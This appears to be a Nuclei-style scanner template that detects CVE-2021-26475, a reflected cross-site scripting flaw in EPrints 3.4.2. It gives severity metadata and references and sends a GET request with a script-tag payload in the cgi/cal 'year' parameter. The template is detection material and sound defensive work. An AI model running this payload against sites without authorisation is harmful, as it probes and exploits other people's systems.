id: CVE-2021-26475

info:
  name: EPrints 3.4.2 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: EPrints 3.4.2 contains a reflected cross-site scripting vulnerability via the cgi/cal URI.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of EPrints that addresses this vulnerability.
  reference:
    - https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf
    - https://files.eprints.org/2548/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26475
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-26475
    cwe-id: CWE-79
    epss-score: 0.00187
    epss-percentile: 0.5584
    cpe: cpe:2.3:a:eprints:eprints:3.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eprints
    product: eprints
  tags: cve,cve2021,xss,eprints,intrusive

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - </title><script>alert('{{randstr}}')</script>

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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